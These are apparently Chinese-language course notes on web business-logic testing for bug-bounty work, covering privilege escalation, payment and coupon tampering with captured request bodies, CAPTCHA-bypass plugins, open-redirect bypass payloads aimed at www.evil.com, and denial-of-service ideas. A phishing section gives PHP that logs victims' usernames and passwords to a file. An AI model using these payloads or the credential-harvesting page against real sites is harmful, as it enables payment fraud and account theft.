SRC

逻辑越权

类别

1、水平越权:同级别的用户之间权限的跨越

2、垂直越权:低级别用户到高级别用户权限的跨越

3、未授权访问:通过无级别用户能访问到需验证应用

a6cd5b00101e5a35c5a0640a405a6a3c

检测工具

  1. BP 检测插件:

  2. 检测项目:

更多参考:

第72天:WEB攻防-业务逻辑篇&水平越权&垂直越权&未授权访问&检测插件&SRC项目 – The-Starry-Sky

支付逻辑

思路点

  1. 支付逻辑 - 商品本身 - 修改 - 数量 & 价格 & 属性等
  2. 支付逻辑 - 营销折扣 - 优惠券 & 积分 & 签约 & 试用等
  3. 支付逻辑 - 订单接口 - 替换 & 并发 & 状态值 & 越权支付等

示例

修改数量

  • 抓取订单数据包进行修改

篡改价格

  • 抓取订单数据包,修改价格为 1

订单对冲

  • 含义:
    • 以 A 产品的价格订单去购买 B 产品的订单价格
    • 对方只检测付款成功的状态,不考虑对应订单的产品,就会有这样的安全问题

替换支付

  • 将产生支付页面,或者支付二维码的数据包进行替换,例如将支付 6000 的数据包,替换为支付 5400 的数据包

接口判断

  • 购买商品进行支付时,抓取数据包,修改其调用接口为其他接口,如若可以重定向,将调用接口设置为对自己钱包的付款地址,或者将自己付款给自己,返回付款成功的响应

优惠券复用 (盗用)

含义
  • 服用:重复使用
  • 盗用:算出优惠券规律,如你的优惠券 id 为 1,则别人的可能为 2,3,4,5……
    • 也可能是加密的值,逆向这个算法,自己修改为可用的优惠券编号

购买商品抓包进行分析,领取优惠券后,第一个订单不使用优惠券下单,第二个使用,对比分析数据不同

未使用优惠券数据包数据

1
goods_sku_list=1%3A1&leavemessage=&use_coupon=0&integral=0&account_balance=0&pay_type=0&buyer_invoice=&pick_up_id=0&express_company_id=1

使用优惠券数据包数据

1
goods_sku_list=1%3A1&leavemessage=&use_coupon=2&integral=0&account_balance=0&pay_type=0&buyer_invoice=&pick_up_id=0&express_company_id=1

积分对冲溢出

  • 因为这里不让填负数,所以猜测这里是减法,是将积分值 - 兑换积分数 = 剩余积分数,或者是积分值 -(兑换积分数 * x) = 剩余积分数,x 为积分与钱钱兑换比例等等之类

  • 这个是前端验证,所以直接抓包尝试修改

    1
    shopid=0&amount=11&surplus_type=1&act=act_account&submit=%E5%85%91%E6%8D%A2

    这个是积分兑换余额的数据包数据,其中 amount 是兑换的积分数

  • 尝试修改为负值进行放行,发现用户积分确实增加了,实际情况中应该对每个参数都进行测试,如 shopid 与 surplus_type 是否是控制积分兑换余额,将其进行修改测试

更多参考:

第73天:WEB攻防-支付逻辑篇&篡改属性值&并发签约&越权盗用&算法溢出&替换对冲 – The-Starry-Sky

机制验证

参考链接:

第74天:WEB攻防-机制验证篇&重定向发送&响应状态码&跳过步骤&验证码回传&枚举 – The-Starry-Sky

验证码安全篇

图片验证码

自带白嫖版 GitHub 地址:https://github.com/smxiazi/NEW_xp_CAPTCHA

  1. Burp 加载插件

    • 直接在插件里面加载 xp_CAPTCHA_v2.2.jdk.8.jar 或者 xp_CAPTCHA_v2.2.jdk.16.jar
  2. 运行监听 py 文件

    • 在插件目录下的 NEW_xp_CAPTCHA 目录中,直接运行那个运行.bat 即可
    • 没有 server 文件的可以直接在上面 github 地址里面下载,里面有
    • 有个坑就是电脑名字不能是汉字的,不然会报错,py 文件里面有个地方获取计算机名
  3. 设置插件 - 验证码地址

    • 在插件设置中进行设置

      3e026e2d1d0716f0cc1e97024e20469a

  4. 数据包验证码填入参数,根据插件你选择的验证码编号

  5. 发包线程设置 1 后开始

    • 新版 bp 那个线程有点搞不明白怎么使,我没设置成功,一直给我返回验证码错误

接口收费版 GitHub 地址:https://github.com/smxiazi/xp_CAPTCHA

  1. Burp 加载插件
  2. 注册接口帐号充值
    • 在 Guthub 地址里面有
  3. 设置插件 - 填入帐号
  4. 数据包验证码填入参数
  5. 发包线程设置 1 后开始

滑块验证码

  • burp suite 高端利用之编写宏规则绕过滑动验证码:

    https://blog.csdn.net/shuryuu/article/details/104576559

    • 同理也可以适用在 Token,sign 在页面代码中自动获取自动填入后绕过验证
  • 不过只适用于这个滑块验证码,不同滑块验证码验证方式不同,这个是因为验证码校验值在加载好的页面中有显示,可以直接获取到,就可以使用 burp 的宏进行测试

更多参考:

第75天:WEB攻防-验证码安全篇&接口滥用&识别插件&复用绕过&宏命令填入&滑块类 – The-Starry-Sky

隐私合规SRC

  • 主要针对小程序 (小程序可能需要逆向) 和 APP

  • 对象:APP 小程序等,测试时即可测试目标的 app 或者小程序是否隐私合规

  • 例如检测目标是否在偷偷监听、录音、获取信息等

  • 具体:后续 APP 安全课程

MobSF 也可以进行测试

URL 重定向

含义

  • URL 重定向漏洞(URL redirection vulnerability),是一种常见的 Web 安全漏洞,由于网站 URL 重定向功能设计不当,没有验证跳转的目标 URL 是否合法,用户可通过此漏洞跳转到任意网站,这会导致可通过该网站跳转到存在木马、病毒的网站或者钓鱼网站。

黑盒

看业务

  • 用户登录、统一身份认证处,认证完后会跳转
  • 用户分享、收藏内容过后,会跳转
  • 跨站点认证、授权后,会跳转
  • 站内点击其它网址链接时,会跳转

看参数名

1
redirect redirect_to redirect_url url jump jump_to target to link linkto domain

比如可以使用 google 语法搜索:

1
site:xxx.xxx inurl:?url=

白盒看代码块

  • Java
    • response.sendRedirect(request.getParameter(“url”))
  • PHP:
    • $redirect_url = $_GET[‘url’];
    • header(“Location: “ . $redirect_url)
  • .NET:
    • string redirect_url = request.QueryString[“url”];
    • Response.Redirect(redirect_url);
  • Django:
    • redirect_url = request.GET.get(“url”)
    • HttpResponseRedirect(redirect_url)
  • Flask:
    • redirect_url = request.form[‘url’]
    • redirect(redirect_url)
  • Rails:
    • redirect_to params[:url]

跳转 url 绕过思路

  • 单斜线 “/“ 绕过

    1
    https://www.landgrey.me/redirect.php?url=/www.evil.com
  • 缺少协议绕过

    1
    https://www.landgrey.me/redirect.php?url=//www.evil.com
  • 多斜线 “/“ 前缀绕过

    1
    https://www.landgrey.me/redirect.php?url=///www.evil.com https://www.landgrey.me/redirect.php?url=www.evil.com
  • 利用 “@” 符号绕过

    1
    https://www.landgrey.me/redirect.php?url=https://www.landgrey.me@www.evil.com
  • 利用反斜线 “" 绕过

    1
    https://www.landgrey.me/redirect.php?url=https://www.evil.com\www.landgrey.me
  • 利用 “#” 符号绕过

    1
    https://www.landgrey.me/redirect.php?url=https://www.evil.com#www.landgrey.me
  • 利用 “?” 号绕过

    1
    https://www.landgrey.me/redirect.php?url=https://www.evil.com?www.landgrey.me
  • 利用 “\“ 绕过

    1
    https://www.landgrey.me/redirect.php?url=https://www.evil.com\\www.landgrey.me
  • 利用 “.” 绕过

    1
    2
    3
    4
    https://www.landgrey.me/redirect.php?url=.evil           
    (可能会跳转到www.landgrey.me.evil域名)
    https://www.landgrey.me/redirect.php?url=.evil.com
    (可能会跳转到evil.com域名)
  • 重复特殊字符绕过

    1
    2
    https://www.landgrey.me/redirect.php?url=///www.evil.com//.. 
    https://www.landgrey.me/redirect.php?url=www.evil.com//..

钓鱼配合

  • 使用 Teleport Ultra 工具将目标网站整个页面爬取下来

    • 下载使用可参考:https://blog.csdn.net/qq_44035882/article/details/127531747

    • 自己会用什么语言,就用什么语言写劫持代码,如这里使用 php,将原本的 login.html 修改为 login.php

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      在文件开头添加php代码 
      <?php
      $u=$_POST['username'];
      $p=$_POST['password'];
      $f=fopen('pass.txt','a+');
      fwrite($f,$u."|".$p."\n");
      fclose($f);
      ?>

      使用form包裹输入用户名密码的地方,将用户名密码提交到当前文件
      <form action="login.php" method="POST">
      提交参数名记得要和php代码中的对应
      </form>

      这样用户名密码就会保存到 pass.txt 中

资源拒绝服务

  • 功能 1:网站验证码或图片可以自定义显示大小
    • 将大小设置为很大,将服务器 cpu 拉满,达到拒绝服务的目的
  • 功能 2:网站可以上传压缩包解压循环
  • 需要看网站本身是做什么功能的,要根据网站功能决定